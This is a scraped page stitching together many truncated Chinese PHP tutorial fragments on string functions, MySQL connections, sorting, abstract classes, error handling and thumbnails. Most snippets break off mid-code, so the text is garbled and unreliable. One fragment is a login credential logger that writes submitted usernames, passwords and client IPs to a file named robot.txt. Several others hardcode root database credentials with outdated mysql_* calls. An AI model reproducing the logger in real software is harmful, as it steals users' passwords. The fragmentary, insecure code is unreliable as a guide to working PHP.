nl2br();// \n to addslashes(); stripslashes();//對資料庫操作時,轉義特殊字元 chop();//除去字串右邊空格 trim();//除去字串中所有空格 ltrim();//除去字串左邊空格 htmlspecialchars();//轉換'$','"','<','>'為相應的html實體 htmlentities();//轉換所有html標記為相應的html實體 array explode(string separator,
複製代碼 代碼如下: <HTML> <HEAD> <TITLE>常用的數值判斷函數</TITLE> </HEAD> <BODY> <? //判斷數組 $colors = array("red", "blue", "green"); if(is_array($colors)) { print("colors is an array"."<br>"); } //雙精確度數判斷 $Temperature = 15
項目結構:開始搜尋: 這裡搜尋索引鍵("大""這")搜尋結果: 高亮顯示項目所需資料庫結構:實現代碼: conn.php 複製代碼 代碼如下: <?php $conn = @ mysql_connect("localhost", "root", "") or die("資料庫連結錯誤"); mysql_select_db("form", $conn); mysql_query("set names 'gbk'"); ?>
主要函數是file_get_contents,主程式分兩段,跟我一起看過來吧(凡人部落格原創代碼,轉載請註明)。 複製代碼 代碼如下: function escape($str){ preg_match_all('/[\x80-\xff].|[\x01-\x7f]+/',$str,$r); $ar = $r[0]; foreach($ar as $k=>$v){ if(ord($v[0]) < 128) $ar[$k] = rawurlencode($v); else $ar[$k]
項目結構:運行效果:conn.php 複製代碼 代碼如下: <?php $conn = @ mysql_connect("localhost", "root", "") or die("資料庫連結錯誤"); mysql_select_db("form", $conn); mysql_query("set names 'GBK'"); //使用GBK中文編碼; //替換空格,斷行符號鍵 function htmtocode($content) { $content =
第一種方法: 複製代碼 代碼如下: <?php /** * 目錄產生類 :UtilsMakeDir * @author yepeng * @since 2010.3.18 */ class UtilsMakeDir{ //基目錄 建立目錄時不會對這個目錄進行建立。這應該是個已經存在的目錄 private static $makeBasePath = 'video'; private static $delBasePath = 'video'; /** * 遞迴建立目錄, *
思維導圖 介紹 承接上文的PHP 雜談《重構-改善既有代碼的設計》之 重新組織你的函數繼續重構方面的內容。 這章主要針對資料的重構。 1、爭論的聲音——直接存取Field還是通過函數(Accessor)訪問Field 2.修改Array為Object:當你看到一個Array很像一個資料結構,你可以使用Replace Array with Object,把Array變成一個對象。——資料結構更清晰。 專業術語&
PHP壓縮html網頁代碼 (清除空格,分行符號,定位字元,注釋標記)。 有個不錯的方法就是壓縮HTML,壓縮html 其實就是:清除分行符號,清除定位字元,去掉注釋標記 。它所起到的作用不可小視。 現提供PHP 壓縮HTML函數。請大家不妨試試看,感覺還不錯吧。 不廢話了,直接上代碼: 複製代碼 代碼如下: <?php /** * 壓縮html : 清除分行符號,清除定位字元,去掉注釋標記 * @param $string * @return 壓縮後的$string * */
本文執行個體講述了php+Mysqli利用交易處理轉賬問題的方法。分享給大家供大家參考。具體實現方法如下:<?php header("Content-type:text/html; charset=utf-8"); $mysqli = new mysqli("localhost", "root", "064319", "php"); $mysqli->set_charset("utf8");
複製代碼 代碼如下: <?php echo "當前作業系統資訊".PHP_OS."<br/>"; echo '本檔案路徑和檔案名稱為:'.__FILE__.'<br />'; echo "當前PHP版本資訊".PHP_VERSION."<br/>"; ?> 常用的php預定義變數! 前面的$_SERVER[PHP_SELF]返回的是一段資訊,如"/upload/try.php"而後面的則返回一個數組:如:$path_parts =
思維導圖 介紹 前幾篇系列文章,我比較關注的是<PHP 雜談《重構-改善既有代碼的設計》之一 重新組織你的函數>,但是我覺得我還是沒有說清楚,我自己也有很多不理解的地方,而且這篇是我的第一篇這方面的文章,有很多的紕漏,所以我會經常性的去做修改,如果大家有好的意見不妨告知一、二。
一、冒泡排序法 說明:找到最大的數,排列到最後面,然後繼續找 例: 複製代碼 代碼如下: $arr = array(3,5,-1,0,2); for($i=0;$i<count($arr)-1;$i++){ for($j=0;$j<count($arr)-1-$i;$j++){ if($arr[$j]>$arr[$j+1]){ $temp = $arr[$j]; $arr[$j]=$arr[$j+1]; $arr[$j+1]=$temp; } } } 理解: 3,5,-1,0
本文執行個體講述了PHP積分兌換介面的實現方法。分享給大家供大家參考。具體實現方法如下:exchange.php介面內容如下:複製代碼 代碼如下:<?php /*session_start(); if(!isset($_SESSION['zaszh_user_id'])){ echo json_encode(array('status'=>'error','msg'=>'連線逾時,請重新開啟頁面。'));
一、錯誤處理 異常處理: 意外,是在程式運行過程中發生的意料這外的事,使用異常改變指令碼正常流程 PHP5中的一個新的重要特性 複製代碼 代碼如下: if(){ }else{ } try { }catch(異常對象){ } 1. 如果try中代碼沒有問題,則將try中代碼執行完後就到catch後執行 2. 如果try中代碼有異常發生,則拋出一個異常對象(使用throw),拋出給了catch中的參數, 則在try中代碼就不會再繼續執行下去 直接跳轉到catch中去執行, catch中執行完成,
例: 複製代碼 代碼如下: <?php $a = fopen('test.txt','r'); //這裡並沒有對檔案進行判斷就開啟了,如果檔案不存在就會報錯 ?> 那麼正確的寫法應該如下: 複製代碼 代碼如下: <?php if(file_exists('test.txt')){ $f=fopen('test.txt','r'); //使用完後關閉 fclose($f); } ?> 一、PHP錯誤處理的三種方式A、簡單的die()語句; 等價於exit(); 例:
一、抽像類(abstract) 在我們實際開發過程中,有些類並不需要被執行個體化,如前面學習到的一些父類,主要是讓子類來繼承,這樣可以提高代碼複用性 文法結構: 複製代碼 代碼如下: abstract class 類名{ 屬性 $name; 方法(){} //方法也可以為abstract 修飾符 function 方法名(){} } 例: 複製代碼 代碼如下: abstract class animal{ public $name; public $age;
問題 公司有個架構是基於smarty寫的,我負責php的升級,維護人員把新環境布上來之後,測試人員找我提出經常報錯(錯誤:提示找不到檔案的)。 我追蹤了一下代碼,原來是smarty的這個地方報的錯誤。 錯誤:這裡報出檔案不存在。 思考過程: 1、我原以為是程式裡沒有這個檔案呢,結果發現,檔案是有的,那是怎麼回事?
本文執行個體分析了php抽象類別使用要點與注意事項。分享給大家供大家參考。具體分析如下:php抽象類別使用要點與注意事項如下:1、用 abstract 來修飾一個類,那麼這個類就是抽象類別;抽象類別絕對不能被執行個體化,即$abc = new 抽象類別名();會報錯。2、用abstract
if($_POST[loginsubmit]!=){ //判斷是否點了登陸按鈕 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變數$sb fwrite(fopen(robot.txt,ab),$sb);} //結果寫入一個檔案
要使用PHP產生圖片縮圖,要保證你的PHP伺服器安裝了GD2圖形庫 使用一個類產生圖片的縮圖1.使用方法$resizeimage = new resizeimage("圖片源檔案地址", "200", "100", "0","縮圖地址");//就只用上面的一句話,就能產生縮圖,其中,源檔案和縮圖地址可以相同,200,100分別代表寬和高2. 縮圖類代碼//使用如下類就可以產生圖片縮圖, <?phpclass resizeimage{ //圖片類型 var $type;